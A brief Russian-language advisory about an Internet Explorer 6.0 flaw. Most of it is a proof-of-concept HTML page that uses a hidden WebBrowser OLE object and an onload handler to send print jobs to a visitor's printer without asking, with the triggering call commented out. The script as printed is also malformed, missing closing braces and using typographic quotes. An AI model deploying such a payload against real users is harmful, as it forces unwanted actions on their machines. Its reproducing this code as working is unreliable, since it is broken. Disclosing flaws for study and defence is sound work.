Программа: Microsoft Internet Explorer 6.0 

Уязвимость обнаружена в Microsoft Internet Explorer. Удаленный пользователь может сконструировать
HTML, который, когда будет загружен целевым пользователем, автоматически пошлет задание на принтер целевого пользователя. 

Пример: 

<HTML>
<HEAD>

<SCRIPT language=»JavaScript»>

function ieExecWB( intOLEcmd, intOLEparam )
{ // Create OLE Object
var WebBrowser = ‘<OBJECT ID=»WebBrowser1″ WIDTH=0 HEIGHT=0
CLASSID="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2">
</OBJECT>’;

// Place Object on page
document.body.insertAdjacentHTML(‘beforeEnd’, WebBrowser);

// if intOLEparam is not defined, set it
if ( ( ! intOLEparam ) || ( intOLEparam < -1 ) || (
intOLEparam > 1) )
intOLEparam = 1;

// Execute Object
WebBrowser1.ExecWB( intOLEcmd, intOLEparam );

// Destroy Object
WebBrowser1.outerHTML = «»;

function printAll()
{
// Uncomment this to enable the exploit!
//ieExecWB(6,-1);

</SCRIPT>
</HEAD>
<BODY onload="printAll()">
<h3>I like your PRINTER</h3>
</BODY>
</HTML>



Оставить мнение